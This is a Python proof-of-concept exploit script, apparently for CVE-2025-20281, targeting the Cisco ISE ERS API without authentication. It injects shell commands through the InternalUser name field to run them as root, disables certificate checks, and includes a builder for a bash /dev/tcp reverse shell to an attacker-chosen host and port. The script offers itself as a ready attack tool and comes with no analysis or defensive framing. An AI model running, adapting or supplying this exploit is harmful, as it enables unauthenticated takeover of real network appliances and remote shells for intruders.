#!/usr/bin/env python3 import requests import urllib3 import argparse # suppress self‐signed cert warnings urllib3.disable_warnings() def exploit_cve_2025_20281_unauth(target, cmd): """ Sends a crafted POST to the InternalUser ERS API without any authentication, injecting `cmd` into the name field to get RCE as root. """ url = f"https://{target}:9060/ers/sdk#_" #url = f"https://{target}/ers/sdk#_" payload = { "InternalUser": { "name": f"pwn; {cmd}; #", "password": "x", # dummy, ignored by vuln "changePassword": False } } # NO auth tuple here! r = requests.post(url, json=payload, verify=False) print(f"[+] HTTP {r.status_code}\n{r.text}\n") def build_reverse_shell(lhost, lport): return f"/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1" if __name__ == '__main__': parser = argparse.ArgumentParser( description="Unauthenticated PoC for CVE-2025-20281 on Cisco ISE ERS" ) parser.add_argument('target', help="IP or hostname of the ISE PAN") group = parser.add_mutually_exclusive_group(required=True) group.add_argument( '--whoami', action='store_true', help="Run 'whoami' and print the result" ) group.add_argument( '--reverse', nargs=2, metavar=('LHOST', 'LPORT'), help="Spawn a bash reverse shell to LHOST:LPORT" ) args = parser.parse_args() if args.whoami: cmd = 'whoami' else: lhost, lport = args.reverse cmd = build_reverse_shell(lhost, lport) print(f"[*] Target: {args.target}") print(f"[*] Command: {cmd}\n") exploit_cve_2025_20281_unauth(args.target, cmd)